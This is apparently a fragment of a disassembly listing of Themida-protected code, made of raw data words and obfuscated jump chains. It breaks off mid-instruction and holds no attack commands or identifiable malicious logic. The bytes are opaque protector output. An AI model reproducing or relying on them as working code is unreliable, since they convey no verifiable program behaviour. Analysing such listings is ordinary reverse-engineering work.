22E905EDh, 45000070h dd 0D669C581h, 0AE9A49Ah, 87000021h, 30E6E9D9h, 0C4810000h dd 4, 0B1515366h, 0F6C9FE59h, 80D1F6D1h, 0F18025E9h, 59CB8805h dd 5B66DE28h, 3BE9DE28h, 8100007Fh, 0B67758C3h, 37B1E96Ah dd 3C890000h, 25E95424h, 50000088h, 6851E089h, 77ABh, 68241C89h dd 55924D9Fh, 1663685Bh, 34890000h, 4210BE24h, 0C1462F38h dd 0F68107E6h, 0A4B21A04h, 835EF301h, 348904ECh, 1D39E924h dd 0DE010000h, 81241C8Bh, 4C4h, 4C68100h, 87000000h, 0A1E92434h dd 89000048h, 0E9215EF5h, 81242C8Bh, 4C4h, 6E9C100h, 0E9E28952h dd 63D6h ; --------------------------------------------------------------------------- loc_54420C: ; CODE XREF: Themida_:00542677j xor ebx, 24EA4F5Dh jmp loc_54A62A ; --------------------------------------------------------------------------- loc_544217: ; CODE XREF: Themida_:00548FE7j jmp loc_543A7E ; --------------------------------------------------------------------------- loc_54421C: ; CODE XREF: Themida_:00545CC6j mov esi, [esp] add esp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_541378 ; --------------------------------------------------------------------------- db 30h dd 0B65259C8h, 78E68087h, 0E901C680h, 0FFFFE601h ; --------------------------------------------------------------------------- loc_544248: ; CODE XREF: Themida_:0054C845j pop esp sub edi, 315F03F6h jmp loc_541EE2 ; --------------------------------------------------------------------------- dd 6FBD68h, 24148900h, 4BAh, 0FFD50100h, 5EE92434h, 5FFFFFDEh dd 72F868h, 241C8900h, 573BE9h, 0E7686600h, 66546612h db 8Fh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], ax push edx mov dx, 26E1h push 33C5h mov [esp], eax mov ax, 3912h add ax, 1B6h shl ax, 5 xor ax, 8F6h sub dx, 6EE6h add dx, ax add dx, 6EE6h pop eax add dx, 872Bh mov ax, dx pop edx sub word ptr [esp+2], 7452h jmp loc_544AEB ; --------------------------------------------------------------------------- db 42h dd 0F346E956h, 875FFFFFh, 248B2434h, 0D08EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5442EA: ; CODE XREF: Themida_:00549B14j mov edi, [esp] jmp loc_549133 ; --------------------------------------------------------------------------- dw 6857h dd 1308h, 0E9240489h, 0FFFFDC66h, 0E924048Bh, 322Ch, 197BBF57h dd 0F9093A77h, 55BD555Fh, 0F74FF552h, 81EDD1DDh, 0EF4C35E5h dd 12C2E93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544326: ; CODE XREF: Themida_:0054B7CAj sub ecx, ebx pop ebx add ebx, ecx jmp loc_548852 ; --------------------------------------------------------------------------- loc_544330: ; CODE XREF: Themida_:00541D85j add edx, ebp sub edx, 715A0081h mov ebp, [esp] add esp, 4 push ebx mov ebx, 24h sub ebx, 1581164Bh add ebx, edi add ebx, 1581164Bh add [ebx], edx mov ebx, [esp] add esp, 4 pop edx loc_54435B: ; CODE XREF: Themida_:00549EDFj push 40C7h mov [esp], esi mov esi, ebx push edi push 72B7h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5498A9 ; --------------------------------------------------------------------------- loc_544378: ; CODE XREF: Themida_:00549A37j and edx, 5B48196Bh push edx not dword ptr [esp] pop edx push eax mov eax, 146E61D3h push ebx push esi jmp loc_54D5E6 ; --------------------------------------------------------------------------- dd 0FFC0B60Fh, 0C0E98734h, 81000007h, 4ECh, 48F5400h, 24048324h dd 2434FF04h, 0E689565Fh, 4C681h, 0C6830000h, 4CE5E904h dd 0EBC10000h, 0F4F38107h, 0C13BAC50h, 0C38103E3h, 211349A4h dd 1C8BDD01h, 4C48124h, 68000000h, 33F8h, 0B9240C89h, 2 dd 7DECE9h, 8BE80100h, 0C481242Ch, 4, 81BFE956h, 4050000h dd 0E9000000h, 5571h ; --------------------------------------------------------------------------- loc_544408: ; CODE XREF: Themida_:0054CC2Cj push ecx mov ecx, 3E367888h add edx, ecx pop ecx xor edx, 166508C8h jmp loc_544903 ; --------------------------------------------------------------------------- dd 4C481h, 3C870000h, 472CE924h, 0BE560000h, 342D0792h dd 315EF531h, 242C8BEFh, 4C481h, 75E90000h, 0BF00004Bh dd 43DD30D2h, 1CE9EF31h, 0C1000059h dword_544450 dd 0F58107E5h, 151E2C2Ch, 815DEE01h, 830CD3C5h, 81F52942h ; DATA XREF: ___:off_43B084o dd 830CD3EDh, 0D442E942h, 489FFFFh, 8A82E924h, 34FF0000h dd 55BE924h, 81580000h, 9C7B0FF3h, 5BD82900h, 8B240487h dd 1C892424h, 3B5B6824h, 15B4474h, 4DE95BD8h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54449F: ; CODE XREF: Themida_:005435EFj pop edx jmp loc_54581C ; --------------------------------------------------------------------------- db 81h, 0EDh, 61h dd 1789B62h, 61C581DDh, 5B789B62h, 2BF57h, 0FD010000h dd 83243C8Bh, 0FF5504C4h, 8B042474h, 8953242Ch, 4C381E3h dd 56000000h, 1A0387BEh, 81D6F751h, 0A95634CEh, 81D6F771h dd 120187F6h, 5EF30100h, 636EE9h, 2C48300h, 53FFC680h dd 82EBE9h db 0 ; --------------------------------------------------------------------------- loc_5444FD: ; CODE XREF: Themida_:00548BA3j mov [esp], edx push eax push ebp mov ebp, 420B67B0h or ebp, 5201933h sub ebp, 1B7D3E26h jmp loc_5421E5 ; --------------------------------------------------------------------------- dd 243C8758h, 48B665Ch, 4EC8124h, 89000000h, 5F54243Ch dd 4C781h, 0FE90000h, 81000062h, 2ECh, 1C896600h, 2AFB6824h dd 43E90000h, 5800000Bh, 1FBBE9h db 0 ; --------------------------------------------------------------------------- loc_544551: ; CODE XREF: Themida_:00543422j pop ecx add esi, edi pop edi push ebx jmp loc_543B6D ; --------------------------------------------------------------------------- loc_54455B: ; CODE XREF: Themida_:00548F7Cj mov esi, 63E27736h and esi, 129843B7h push ecx mov ecx, 2468258Dh xor ecx, 17C94DF5h jmp loc_548B75 ; --------------------------------------------------------------------------- loc_544577: ; CODE XREF: Themida_:00543928j mov [edi+eax*4+1], dh pop edx mov ebx, [esp] add esp, 4 jmp loc_542605 ; --------------------------------------------------------------------------- dw 5CB4h dd 5866E630h, 534BE680h, 0FE3067B7h, 81241C8Bh, 4C4h, 230400h dd 7C91E9F0h, 48B0000h, 1FD7E924h, 0D0010000h, 4EC815Ah dd 89000000h, 0FBE9243Ch, 66000061h, 68240C8Bh, 77DCh dd 54242C89h, 0FFDD53E9h, 4EC83FFh, 81240C89h, 4ECh, 24248900h dd 0FFF996E9h, 7FC581FFh, 31FE045Ah, 0C1315DE8h, 3EC18158h dd 31429DC8h, 0EB8159C8h, 49602471h, 2C05C381h, 0B95179BEh dd 1DB2660Bh, 31DBE9h, 13BF5700h, 812CE51Bh, 34E27CEFh dd 0F5D8E9ECh, 32FFFFFFh, 0FFCD4BE9h, 4C381FFh, 81000000h dd 4C3h, 241C8700h, 0DA79E95Ch, 875BFFFFh, 895C2414h, 8B54242Ch dd 0C481242Ch, 4, 0FFFBFBE9h, 80C6FEFFh, 0F100B1F6h, 59C8285Ah dd 5904F000h, 8124148Bh, 4C4h, 2EC8300h, 93EBE9h db 0 ; --------------------------------------------------------------------------- loc_544679: ; CODE XREF: Themida_:00546196j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_54CEC9 ; --------------------------------------------------------------------------- db 81h dd 61100DC1h, 0E9CD0160h, 9351h, 0E95AD021h, 0CC1h, 2404875Fh dd 2EC835Ch, 240C8966h, 448768h, 0E4E9E900h, 0C183FFFFh dd 240C8704h, 24048F5Ch, 0C8B665Ch, 139D6824h, 1C890000h dd 50E38924h, 4B8h, 24EB8100h, 0E910152Fh, 0FFFFD09Ah ; --------------------------------------------------------------------------- loc_5446E0: ; CODE XREF: Themida_:005457CBj sub bl, 0AEh add bl, ch add bl, 0AEh sub bl, 52h add bl, 0F7h pop cx sub bl, 2Ah sub bl, al jmp loc_549439 ; --------------------------------------------------------------------------- dw 0F740h dd 0DB2D40D0h, 551C3870h, 0EB12D6BDh, 0C5ED8100h, 0E909E57Bh dd 0FFFFFA3Bh, 4DA2E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54471A: ; CODE XREF: Themida_:0054637Dj mov ebx, [esp] jmp loc_5476A8 ; --------------------------------------------------------------------------- aSz4 db '°]éz4',0 dd 3FA5B900h, 0F1810D43h, 45567263h, 0B4B85055h, 0C1500C5Ch dd 2D4805E8h, 0DA00517Dh, 158C589h, 0D302E9E9h, 0C268FFFFh dd 0E9000012h, 3872h, 739FE959h, 15E90000h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544763: ; CODE XREF: Themida_:0054A525j mov ebx, edx jmp loc_54D599 ; --------------------------------------------------------------------------- loc_54476A: ; CODE XREF: Themida_:0054A6BCj add esp, 4 jmp loc_546745 ; --------------------------------------------------------------------------- loc_544775: ; CODE XREF: Themida_:00549BA4j shr edx, 1 cmp eax, edx jz loc_543A7E sub esp, 4 mov [esp], eax jmp loc_541644 ; --------------------------------------------------------------------------- dw 0B568h dd 89000026h, 71E9241Ch, 81000066h, 17662AF7h, 0FA895239h dd 0C2E9D689h, 80FFFFECh, 0F3006BEEh, 5124148Bh, 0C181E189h dd 4, 6435E9h, 1C77FF00h, 1058669Dh, 0E99C2404h, 0FFFFCBACh dd 0D656C1BFh, 8E7C121h, 0C104F781h, 0C381D656h, 1AF67E7Ch dd 0EB81FB01h, 1AF67E7Ch, 81243C8Bh, 4C4h, 2C38100h, 53000000h dd 42474FFh, 1FD9E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544802: ; CODE XREF: Themida_:00542E04j neg edx sub edx, 76EC3CBEh jmp loc_54CD1D ; --------------------------------------------------------------------------- loc_54480F: ; CODE XREF: Themida_:0054619Ej xor ebp, [esp] mov esp, [esp] push 1599h mov [esp], esi mov esi, 78DB692Ah sub esp, 4 mov [esp], ebp jmp loc_54BFCE ; --------------------------------------------------------------------------- loc_54482D: ; CODE XREF: Themida_:0054D8DDj push dword ptr [esp] pop ebx jmp loc_545952 ; --------------------------------------------------------------------------- dw 0ED81h dd 2D3D3C19h, 40E9DD01h, 8B000000h, 0C892424h, 0CB2AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54484E: ; CODE XREF: Themida_:0054B320j and esi, eax pop eax jmp loc_54B669 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFCE7Dh, 3C8BF801h, 4C48324h, 8B240487h, 0CFF2424h dd 5E99C24h, 1FFFFCBh, 87A2E9D9h, 0B3B00000h, 16E9C3B1h dd 56000039h, 3D3C19BEh, 5EF5012Dh, 83241C8Bh, 0C58304C4h dd 242C8704h, 0E924248Bh, 0FFFFCAD8h, 53F2E950h, 34FF0000h dd 0E9535824h, 0FFFFD831h, 0EB86C581h, 0EF294D76h, 0FDEF815Dh dd 2924973Ah, 243C8BFAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_548406 ; --------------------------------------------------------------------------- dd 4244481h, 7E19543Ah, 4246C01h, 543AB850h, 6C817E19h dd 4AC50824h, 0E1E96183h, 52000045h, 0D2F6DA88h, 3AA0E9h dd 24048900h, 4A5385B8h, 39E9571Ch db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544903: ; CODE XREF: Themida_:00544417j add edx, 57AA5566h add edx, 14CC3EB8h add ebp, edx pop edx jmp loc_5495A6 ; --------------------------------------------------------------------------- loc_544917: ; CODE XREF: Themida_:00548A61j shr ebx, 7 dec ebx add ebx, 0A432EE1h jmp loc_543E17 ; --------------------------------------------------------------------------- dw 0EC83h dd 24148904h, 0C281E289h, 4, 8904EC83h, 0E9522404h, 8144h dd 51D3E95Ch, 0BF580000h, 0CE1C9ED0h, 215AD701h, 243C8BF8h dd 4C481h, 0C2090000h, 3168E2D1h, 89000012h, 1BE92404h dd 5B000005h, 0FFCA07E9h, 300025FFh, 0E0C10C6Bh, 0F5B0D05h dd 0E0C1298Ch, 24930508h, 0C331A91Fh, 0FFFAF1E9h, 4C483FFh dd 8304C483h, 348702C6h, 0CD25C24h, 0D5E99C24h, 2DFFFFC9h dd 3AAD5060h, 0CDDEE95Fh, 0D829FFFFh, 874C4C05h, 1AE95659h dd 5EFFFFD9h, 0E924048Fh, 344Bh ; --------------------------------------------------------------------------- loc_5449C4: ; CODE XREF: Themida_:0054C2BBj add esp, 4 shr eax, 10h xor eax, ecx push 7FF2h jmp loc_546CD8 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 7Bh db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5449DF: ; CODE XREF: Themida_:0054521Ej add edx, edi push 7FE7h mov [esp], ecx jmp loc_54CACA ; --------------------------------------------------------------------------- db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 jmp loc_547FAC ; --------------------------------------------------------------------------- db 0ACh dd 0FFCD92E9h db 0FFh ; --------------------------------------------------------------------------- loc_544A09: ; CODE XREF: Themida_:00542623j xchg ebp, [esp] jmp loc_546066 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 3 dd 8024EA81h, 0D0010101h, 4EBF575Ah, 811DD365h, 687F3FE7h dd 83EF8120h, 0E972B15Bh, 0FFFFD9C9h ; --------------------------------------------------------------------------- loc_544A34: ; CODE XREF: Themida_:0054BE8Bj mov dh, 15h and dh, 0AFh not dh jmp loc_5481ED ; --------------------------------------------------------------------------- dd 6DCE8166h, 0F6816643h, 4E664F37h, 402E6866h, 0BA7E9h dd 68D82900h, 69D5h, 0BE243489h, 1B8011A5h, 3432BB53h dd 0D8012499h, 76F9E9h, 81DAF700h, 3F77F5CAh, 0E6E95065h dd 89FFFFD8h, 22B7241Ch, 0E903EFC0h, 8E69h, 2288C781h dd 0F8298B17h, 240C8B5Fh, 0E9E78957h, 0FFFFCBE8h, 75E95266h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_544AA7: ; CODE XREF: Themida_:0054789Bj add edi, eax pop eax sub [esp+8], edi pop edi add [esp+4], edx add dword ptr [esp+4], 3FEE3A5Dh push dword ptr [esp] pop edx add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_54B87E ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC8A0h ; --------------------------------------------------------------------------- loc_544AD8: ; CODE XREF: Themida_:0054D933j pop edx dec edi jmp loc_54A6C1 ; --------------------------------------------------------------------------- aTs db 'Té<',0Dh,0 db 0 ; --------------------------------------------------------------------------- loc_544AE5: ; CODE XREF: Themida_:00548761j pop ebp jmp loc_54C273 ; --------------------------------------------------------------------------- loc_544AEB: ; CODE XREF: Themida_:005442D2j sub word ptr [esp+2], 6E7Eh jmp loc_54C402 ; --------------------------------------------------------------------------- loc_544AF7: ; CODE XREF: Themida_:0054A800j push 7AF5h mov [esp], edx push eax pushf jmp loc_541378 ; --------------------------------------------------------------------------- dw 1C89h dd 0F685B724h, 4EFC0D7h, 3F780h, 0E95B5BF8h, 0FFFFC8FFh dd 4C75E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544B22: ; CODE XREF: Themida_:0054583Ej push ebp jmp loc_54C50F ; --------------------------------------------------------------------------- dd 4CE9585Dh, 31000019h, 0C33240Ch, 8B665C24h, 8C682404h dd 8900004Ah, 5A542414h, 4C281h, 7FE90000h, 5A00004Ah dd 1ED4EA81h, 0EBE955DFh, 68FFFFFDh, 14BDh, 0BA241489h dd 2F136B85h, 0FFDDD8E9h db 0FFh ; --------------------------------------------------------------------------- loc_544B6D: ; CODE XREF: Themida_:005413F5j pop edx push ecx jmp loc_5464B8 ; --------------------------------------------------------------------------- dd 0EB885B5Ah, 0C53E9h, 50E68900h, 922E951h, 0F2010000h dd 5E2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax mov eax, 2 jmp loc_5495B8 ; --------------------------------------------------------------------------- dw 875Ah dd 248B242Ch, 4316624h, 0BBE99C24h, 5D000063h, 84E9515Fh dd 5DFFFFCCh, 5C241C87h, 2827E9h db 0 ; --------------------------------------------------------------------------- loc_544BCD: ; CODE XREF: Themida_:0054D6B1j sub ebx, 76DC3BD8h sub ebx, 4941ED91h sub eax, 323520D2h sub eax, ebx add eax, 323520D2h pop ebx jmp loc_546F00 ; --------------------------------------------------------------------------- db 5Fh dd 0D2BD5547h, 0E923ED36h, 0FFFFF832h ; --------------------------------------------------------------------------- loc_544BF8: ; CODE XREF: Themida_:005460D4j sub ecx, 10255EB3h shr ecx, 4 add ecx, 9EB991A2h mov ebx, ecx pop ecx push ecx mov ecx, ebx mov ebp, ecx jmp loc_54D8DC ; --------------------------------------------------------------------------- dd 3304C683h, 34312434h, 1DAE924h, 0D4F60000h, 8039E480h dd 0F480B6ECh, 0E9E7006Fh, 0FFFFD76Fh, 47D36845h, 0C890000h dd 82D2E924h, 89660000h, 2DE92404h, 66FFFFC7h, 25E932FFh dd 0F7FFFFC7h, 512D68E1h, 3DE90000h, 66FFFFD3h, 9C240421h dd 0FFF025E9h, 815E54FFh, 4C6h, 4EE8300h, 5C243487h, 0E9242489h dd 5EB9h ; --------------------------------------------------------------------------- loc_544C80: ; CODE XREF: Themida_:0054AEA4j pop esp mov [esp], ebx push edx mov edx, 48F4169Fh or edx, 7A836F05h xor edx, 5483D48h mov ebx, edx pop edx add ebx, 0F4460C20h xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push 513h mov [esp], ecx push ebp mov ebp, 7EB771Bh push ecx jmp loc_544E39 ; --------------------------------------------------------------------------- db 81h dd 6907242Ch, 2C813C71h, 34412224h, 0C6A6E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544CD2: ; CODE XREF: Themida_:00549792j add edi, eax jmp loc_548AC0 ; --------------------------------------------------------------------------- db 29h, 0F3h, 5Eh dd 0C381C301h, 5927D45h, 660BEB81h, 73E91DB2h, 8900003Eh dd 4C281E2h, 83000000h, 44E904C2h, 88000041h, 8A5B59EAh dd 0E902244Ch, 7F86h, 0B9240C89h, 6D1C739Dh, 0FFCDF8E9h dd 46BB53FFh, 8170FE5Ah, 1679D4C3h, 2FF38176h, 189BF89h dd 0C3815BDFh, 59AC1163h, 0EB81FB01h, 59AC1163h, 83243C8Bh dd 8F04C4h, 0FFC62FE9h, 32F381FFh, 516F135Dh, 3759EEB9h dd 0E9CB296Fh, 2B8Dh, 0F9BE564Bh, 2960669Fh, 4682E9F3h dd 0EA810000h, 1290A8Fh, 0C15AD501h, 0C58103EDh, 4B9F16Eh dd 685DE829h, 23E3h, 0B8240489h, 522751C2h, 5F46C381h dd 0C7E97F9Fh, 3100001Ch, 4332404h, 30FF5C24h, 0FFC5D3E9h dd 2BFFFh, 0FE890000h, 8BF3015Fh, 0C4832434h, 4EC8104h dd 89000000h, 74FF241Ch, 0ACE90424h, 1000050h, 240C8BCDh dd 0E904C483h, 19ECh, 0EFC1D7F7h, 0B1F78103h, 2D42959Eh dd 73A75750h, 5005F829h, 5F73A757h, 0C544AA2Dh, 4EC817Bh dd 0E9000000h, 4F2Bh, 5C243433h, 704BE9h, 240C8700h, 5124248Bh dd 0ECE9FD88h, 8BFFFFFEh, 0C4832434h, 68C33104h, 139Ah dd 0E9240489h, 0FFFFC550h, 80E95556h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_544E2F: ; CODE XREF: Themida_:0054595Aj pop ecx sub [esp+4], ebp jmp loc_549AC2 ; --------------------------------------------------------------------------- loc_544E39: ; CODE XREF: Themida_:00544CBAj mov ecx, 40421315h jmp loc_54A4E5 ; --------------------------------------------------------------------------- db 1 dd 5F08247Ch, 4244481h, 269C1A29h, 4247C01h, 4246C81h dd 269C1A29h, 1C1DBB53h, 5C291E37h, 5F5B0824h, 0FFC50BE9h dd 4B8FFh, 0C3010000h, 0B5BF5758h, 56113558h, 8E7E3ABEh dd 3208E978h, 5D680000h, 8900001Dh, 3ABE2434h, 8933EA49h dd 2434FFF0h, 363AE9h, 0C2E95800h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544EA3: ; CODE XREF: Themida_:00546E3Cj dec dl shl dl, 5 jmp loc_546484 ; --------------------------------------------------------------------------- db 1, 0C3h, 81h aIckkXsA db 'ë–Kª&X需',0 dw 0B400h dd 58E78871h, 0FE71E780h, 80C7FECFh, 0C7FE4FE7h, 540CE9h dd 2434FF00h, 58545059h, 52E4E9h, 0E9C60100h, 23C7h ; --------------------------------------------------------------------------- loc_544EE4: ; CODE XREF: Themida_:0054927Fj add esi, 53042186h sub ebx, 3471488h add ebx, esi push edi mov edi, 3471488h add ebx, edi pop edi jmp loc_54AA76 ; --------------------------------------------------------------------------- dd 24048B66h, 4EC8353h, 51242489h, 4B9h, 244C0100h, 240C8B04h dd 4C481h, 0D4E90000h, 5400004Fh, 0FFF92DE9h, 8B6664FFh dd 0B4686602h, 20B2E950h, 0EF810000h, 1FD37479h, 0E95FFD31h db 59h, 0D8h word_544F42 dw 0FFFFh ; DATA XREF: ___:off_436CE8o dd 8B2434FFh, 89502404h, 405E0h, 4050000h, 87000000h, 555C2404h dd 7400E9h, 0E2895200h, 4C281h, 0BE560000h, 4, 4E4FC281h dd 0F229154Fh, 4E4FEA81h, 0B3E9154Fh db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_544F83: ; CODE XREF: Themida_:00542C2Fj movsx ecx, al push 4E75h jmp loc_545A24 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0B60F66h, 33768h, 241C8900h, 241C8B54h, 0E904C483h dd 835Ah, 0FFFEEA81h, 0D50100FFh, 2B9515Ah, 1000000h, 2C3359CDh dd 2700E924h, 0E0890000h, 405h, 0E487E900h, 489FFFFh, 2434FF24h dd 5D545558h, 8904EC83h, 4BB241Ch, 0E9000000h, 0FFFFF84Ah dd 1568C331h, 0E900004Ch, 0FFFFFA87h, 2C0835Eh, 0E9240487h dd 0FFFFDCB9h ; --------------------------------------------------------------------------- loc_545004: ; CODE XREF: Themida_:0054837Cj add esp, 4 add ebp, esi jmp loc_54AB78 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 6CE95142h, 5EFFFFC3h, 5C24048Fh, 2F13E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545026: ; CODE XREF: Themida_:00548C78j not ebp push 73ADh mov [esp], edi push 499Bh mov [esp], ebp mov edi, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 xchg edi, [esp] mov eax, [esp] add esp, 4 push ecx sub esp, 4 mov [esp], edx push edi mov edi, esp jmp loc_54A3EE ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 9C2404D2h, 0FFC303E9h, 766A25FFh, 0BF2D2CCAh dd 50C7A4Eh, 0FFF22AB8h, 2958C389h, 0D59AE9DAh, 1489FFFFh dd 80B4B224h, 0B76821C2h, 8900000Eh, 8853240Ch, 4870E9D7h dd 0C1810000h, 4, 4C181h, 4EE90000h, 58FFFFFDh, 601BE9h dd 6F0E6800h, 6AE90000h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5450C7: ; CODE XREF: Themida_:0054D5D5j push edi mov edi, 4 add [esp+4], edi pop edi push dword ptr [esp] jmp loc_54AB42 ; --------------------------------------------------------------------------- dw 0C87h dd 0F761E924h, 0C501FFFFh, 4D99C581h, 0E9587662h, 194Dh dd 5029C180h, 0FCE91BB0h, 8300000Fh, 0C8704E9h, 0E58EE924h dd 0CFBFFFFFh, 515A505Fh, 0E0690AB9h, 59CF094Dh, 96E78147h dd 4754756Fh, 579BCF81h, 0F7811BE0h, 5FF07F99h, 0E95FFE89h dd 546Ah, 24048B66h, 4EC8353h, 2A04E9h, 248B6600h, 0C232E924h dd 1C89FFFFh, 0E972B724h, 0FFFFCDF3h ; --------------------------------------------------------------------------- loc_545150: ; CODE XREF: Themida_:0054A39Fj xor ecx, 25ADBC2Bh sub edx, ecx pop ecx or ebx, edx pop edx xor ebx, 7BEC06A3h xor ebx, 302217DAh jmp loc_54B618 ; --------------------------------------------------------------------------- db 5Eh, 83h, 0C0h dd 24048704h, 8124248Bh, 4ECh, 240C8900h, 7F9C68h, 8214E900h dd 0F7280000h, 8B0CEF80h, 0C4832414h, 0AA2C04h, 8BAA04F8h dd 8952241Ch, 0D16EE9E2h, 5166FFFFh, 0C1CAE99Ch, 0C5E9FFFFh dd 5AFFFFC1h, 0BCE9FA01h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5451BB: ; CODE XREF: Themida_:00542BE5j pop eax xor edx, [esp] jmp loc_54823A ; --------------------------------------------------------------------------- dd 0E9C15Ch, 840FC009h, 7F1Fh, 4EC81h, 1C890000h, 20FBE924h dd 0E9570000h, 36B8h ; --------------------------------------------------------------------------- loc_5451E4: ; CODE XREF: Themida_:00545F54j inc bl push eax mov ah, 1Ch jmp loc_547A2F ; --------------------------------------------------------------------------- loc_5451EE: ; CODE XREF: Themida_:00541ADBj add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_54B6E3 ; --------------------------------------------------------------------------- dd 0FFC16BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54520D: ; CODE XREF: Themida_:00545D39j or edx, eax shl edx, 1 push 3A94h mov [esp], edx mov edx, 24h jmp loc_5449DF ; --------------------------------------------------------------------------- db 35h dd 4FDD1F98h, 0E958C101h, 0FFFFF8ECh, 4C581h, 0C5810000h dd 4, 0E9242C87h, 1732h, 240C8B66h, 241268h, 242C8900h dd 714C68h, 5FBDE900h, 0C3280000h, 24048B66h, 3E34E9h dd 59F80400h, 0D800A82Ch, 33CDE9h, 5052AD00h, 174BA7B8h dd 2624BA1Ch, 7DE94FDAh, 4A000077h, 0E241E94Ah, 1C33FFFFh dd 4305C24h, 0E1E99C24h, 51FFFFC0h, 240C8B54h, 0FFCB93E9h dd 243C89FFh, 688CBE56h, 50E928FAh, 0BD000005h, 38623257h dd 623253BEh, 5DEE3138h, 0FFF8C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5452C1: ; CODE XREF: Themida_:00541CF5j push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], edx push 0B48h jmp loc_5469D4 ; --------------------------------------------------------------------------- loc_5452DE: ; CODE XREF: Themida_:00548194j add ebx, 6D23488Ch jmp loc_542CEF ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 2512052Ch, 0D263E959h, 0C481FFFFh, 4, 692BE9h, 0E9D58900h dd 0FFFFE847h ; --------------------------------------------------------------------------- loc_545308: ; CODE XREF: Themida_:005468C6j jmp loc_541378 ; --------------------------------------------------------------------------- loc_54530D: ; CODE XREF: Themida_:00549924j xor ebx, 48E45EBBh and ecx, ebx push dword ptr [esp] pop ebx add esp, 4 shr ecx, 7 push 5B3Fh jmp loc_54ACE5 ; --------------------------------------------------------------------------- aUwW@GbcqLSz db 'UW¿W@',0Bh,'gçq^L`éZ!',0 db 0 ; --------------------------------------------------------------------------- loc_54533B: ; CODE XREF: Themida_:00541C26j pop esi add ebx, 40EC28F2h push ecx mov ecx, esp sub esp, 4 mov [esp], edi mov edi, 25765FAAh loc_545350: ; DATA XREF: ___:off_43B044o not edi shr edi, 5 jmp loc_548CB6 ; --------------------------------------------------------------------------- dw 0D189h dd 0FFCA9BE9h, 0E9C209FFh, 1F5Fh, 1105F781h, 88050904h dd 17F1419h, 0AEBF57F8h, 4F007073h, 5A25EF81h, 0F829815Ch dd 0C0835F5Fh, 24043304h, 33240431h, 248B2404h, 2434FF24h dd 30606858h, 3C890000h, 52E78924h, 0F6729DBAh, 4F3FE902h dd 0FF520000h, 8B042474h, 0E9562414h, 0A41h, 0FF2434FFh dd 81582434h, 4C4h, 0E2895200h, 37DEE9h, 0BFA2E900h, 0DF01FFFFh dd 0DEC7815Bh, 81DC0CA0h, 0D66724EEh, 81FE0162h, 0D66724C6h dd 0BD555F62h, 5C377114h, 6B7EBE56h, 0EE81670Fh, 172530E4h dd 188CEE81h, 0EE812A4Dh, 2CDF7D1h, 0F9E9F529h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545413: ; CODE XREF: Themida_:00548CEDj push ecx mov ecx, 5C19166Ch xor [esp+4], ecx jmp loc_547BD0 ; --------------------------------------------------------------------------- dw 34FFh dd 0E9F8E924h, 0EF89FFFFh, 0FFF2E3E9h, 9F781FFh, 3129DA03h dd 0C3815FF8h, 26AA4B96h, 0FFFA68E9h, 4C681FFh, 68000000h dd 2ECFh, 0BA241489h, 2, 34FFD601h, 0C4835A24h, 24348704h dd 6624248Bh, 68240C8Bh, 583h, 0E9243489h, 4D78h, 1C3E68h dd 24048900h, 4B8h, 0E9C70100h, 0FFFFF11Eh, 7E1D88B8h dd 58C30168h, 51C2C381h, 0A5685227h, 8900006Fh, 0E957241Ch dd 0FFFFC151h, 0A002D368h, 0E0D2E94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5454B2: ; CODE XREF: Themida_:0054CCD9j mov [eax], bh pop eax mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_541378 ; --------------------------------------------------------------------------- dw 0C87h aSag db '$\éAG',0 dw 5B00h dd 0C0E9D6F6h, 81FFFFF2h, 0D96F3CF1h, 53E16872h, 2C890000h dd 52515624h, 0CA0794BAh, 6EA8154h, 0E9113E79h, 5A9Bh ; --------------------------------------------------------------------------- loc_545508: ; CODE XREF: Themida_:0054B6E4j mov ecx, esp add 